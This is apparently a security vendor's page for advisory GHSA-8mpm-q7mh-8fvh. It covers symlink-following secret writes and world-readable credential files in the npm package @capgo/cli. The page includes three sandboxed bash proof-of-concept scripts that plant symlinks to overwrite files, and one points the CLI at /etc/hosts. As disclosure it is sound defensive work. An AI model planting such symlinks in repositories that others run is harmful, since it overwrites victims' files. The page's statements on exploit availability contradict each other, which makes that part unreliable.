How severe is GHSA-8mpm-q7mh-8fvh?

No CVSS score has been assigned to GHSA-8mpm-q7mh-8fvh yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-8mpm-q7mh-8fvh?

GHSA-8mpm-q7mh-8fvh affects the following packages: @capgo/cli (npm). Ecosystems affected: npm.

How do I fix GHSA-8mpm-q7mh-8fvh?

Update @capgo/cli to 7.84.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8mpm-q7mh-8fvh is resolved across your whole dependency graph.

How do I detect GHSA-8mpm-q7mh-8fvh in my npm dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @capgo/cli, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate GHSA-8mpm-q7mh-8fvh if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-8mpm-q7mh-8fvh?

O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-8mpm-q7mh-8fvh can be triaged on real exposure rather than presence alone.

Is GHSA-8mpm-q7mh-8fvh actively exploited in the wild?

No public exploit code has been indexed for GHSA-8mpm-q7mh-8fvh yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-8mpm-q7mh-8fvh?

GHSA-8mpm-q7mh-8fvh has an EPSS (Exploit Prediction Scoring System) score of 0.2%, placing it in the 8th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-8mpm-q7mh-8fvh?

GHSA-8mpm-q7mh-8fvh is classified as CWE-59 (CWE-59). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was GHSA-8mpm-q7mh-8fvh published, and has it been updated?

GHSA-8mpm-q7mh-8fvh was published on March 18, 2026 and was last updated on July 8, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦 npm

Not in CISA KEV

GHSA-8mpm-q7mh-8fvh — @capgo/cli

Fix: Cap-go/CLI@b8aa5cc

GHSA-8mpm-q7mh-8fvh is a CWE-59 vulnerability in @capgo/cli. A fix is available for @capgo/cli — see the affected versions and patch details below.

Capgo CLI: symlink-following local secret writes enable arbitrary file overwrite + world-readable credentials (0600 missing)

Also known asCVE-2026-56236

Published

Mar 18, 2026

Updated

Jul 8, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Sep 18, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-8mpm-q7mh-8fvh.

EPSS Exploitation Probability

via FIRST.org ↗

0.2%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs8th percentile — riskier than 8% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

0other npm packages depend on this — each one inherits the vulnerability until it's patched upstream

@capgo/clinpm

59Kdownloads / week

Description

Summary

The Capgo CLI writes sensitive local files (.capgo API key file and build credentials JSON) using unsafe file operations that follow symlinks and do not enforce safe permissions. This allows an attacker-controlled repository to cause arbitrary file overwrite on the developer’s machine when the developer runs the CLI inside that repo. Additionally, global build credentials are written with world-readable permissions (664), exposing signing materials on shared systems.

Details

Issue 1 - Arbitrary file overwrite via .capgo symlink (login --local)

Location: src/login.ts
Behavior: loginInternal(..., { local: true }) performs writeFileSync('.capgo', ...) before validating the API key with verifyUser().
No checks are performed to prevent writing through a symlink.
Result: if .capgo is a symlink to an arbitrary path, the CLI overwrites the symlink target with attacker-controlled content (the provided API key string), even when login fails.

Issue 2 - Arbitrary file overwrite via .capgo-credentials.json symlink (build credentials save --local)

Location: src/build/credentials.ts (local path is join(cwd(), '.capgo-credentials.json'))
Behavior: credentials are written using writeFile() without checking whether the destination is a symlink.
Result: if .capgo-credentials.json is a symlink to an arbitrary path, the CLI overwrites the symlink target with attacker-controlled JSON (including base64-encoded credential material). This occurs even if the user is not logged in / no API key exists.

Issue 3 - Insecure default permissions for global credentials

Location: src/build/credentials.ts (global path $HOME/.capgo-credentials/credentials.json)
Observed permissions after save: -rw-rw-r-- (664)
Impact: credentials file contains sensitive signing material (e.g., Android keystore + Play config; iOS cert/profile/API key in other flows). World/group readability is unsafe on shared hosts and CI runners. Expected minimum: file 0600, directory 0700.

PoC

PoC A: .capgo symlink clobber (writes even when API key invalid)

set -euo pipefail
BASE="/tmp/capgo_cli_poc_$(date +%s)"
HOME_SANDBOX="$BASE/home"
REPO="$BASE/repo"
TARGET="$BASE/clobbered.txt"

mkdir -p "$HOME_SANDBOX" "$REPO"
cd "$REPO"
git init -q

ln -s "$TARGET" .capgo

# This should fail auth, but still overwrites TARGET
HOME="$HOME_SANDBOX" npx --yes @capgo/[email protected] login "INVALID_KEY_SHOULD_FAIL" --local || true

echo "== TARGET content =="
cat "$TARGET"

Expected: On invalid key, nothing is written; .capgo should never follow symlinks. Observed: TARGET contains INVALID_KEY_SHOULD_FAIL.

PoC B: .capgo-credentials.json symlink clobber (no login required)

set -euo pipefail
BASE="/tmp/capgo_creds_symlink_$(date +%s)"
HOME_SANDBOX="$BASE/home"
REPO="$BASE/repo"
TARGET="$BASE/clobbered_creds.txt"

mkdir -p "$HOME_SANDBOX" "$REPO"
cd "$REPO"
git init -q

ln -s "$TARGET" .capgo-credentials.json

HOME="$HOME_SANDBOX" npx --yes @capgo/[email protected] build credentials save \
  --local --platform android --appId com.example.app \
  --keystore /etc/hosts --keystore-alias x --keystore-key-password x --play-config /etc/hosts || true

echo "== TARGET exists and contains JSON written via symlink =="
ls -la "$TARGET" || true
cat "$TARGET" || true

Expected: Refuse to write if destination is symlink; ideally require safe location and permissions. Observed: TARGET is created/overwritten with credentials JSON.

PoC C: global credentials permissions are world-readable

set -euo pipefail
BASE="/tmp/capgo_creds_perm_$(date +%s)"
HOME_SANDBOX="$BASE/home"
mkdir -p "$HOME_SANDBOX"

HOME="$HOME_SANDBOX" npx --yes @capgo/[email protected] build credentials save \
  --platform android --appId com.example.app \
  --keystore /etc/hosts --keystore-alias x --keystore-key-password x --play-config /etc/hosts || true

CREDS="$HOME_SANDBOX/.capgo-credentials/credentials.json"
ls -la "$CREDS" || true
stat -c '%a %U:%G %n' "$CREDS" || true

Observed: credentials.json created with mode 664 (-rw-rw-r--).

Impact

Arbitrary file overwrite (clobber) as the user running the CLI (developer workstation / CI runner).
This can cause:

developer environment compromise or sabotage (overwriting config files, scripts, env files) accidental or malicious leakage/destruction of secrets

Local secret exposure: global credentials written as 664 allows other local users to read signing material on shared machines.
A realistic scenario: a developer runs npx @capgo/cli ... --local inside an untrusted repo/template; the repo contains malicious symlinks.

Suggested remediation

Do not write .capgo until after API key validation succeeds.
For all secret/config writes:

refuse symlink destinations (lstat + isSymbolicLink) use safe file creation and enforce permissions (0600 for files; 0700 for directories) write atomically (temp file + rename) after safety checks

Avoid blindly appending to .gitignore unless it is a regular file (also check for symlink).

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
📦npm	`@capgo/cli`	all versions	7.84.6`npm install @capgo/cli@7.84.6`

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @capgo/cli, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @capgo/cli to 7.84.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8mpm-q7mh-8fvh is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-8mpm-q7mh-8fvh can be triaged on real exposure rather than presence alone.

Tailored to GHSA-8mpm-q7mh-8fvh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The Capgo CLI writes sensitive local files (.capgo API key file and build credentials JSON) using unsafe file operations that follow symlinks and do not enforce safe permissions. This allows an attacker-controlled repository to cause arbitrary file overwrite on the developer’s machine when the developer runs the CLI inside that repo. Additionally, global build credentials are written with world-readable permissions (664), exposing signing materials on shared systems. ### Details Issue 1 - Arbitrary file overwrite via .capgo symlink (login --local) - Location: src/login.ts - Behav

O3 Security · Impact-Aware SCA

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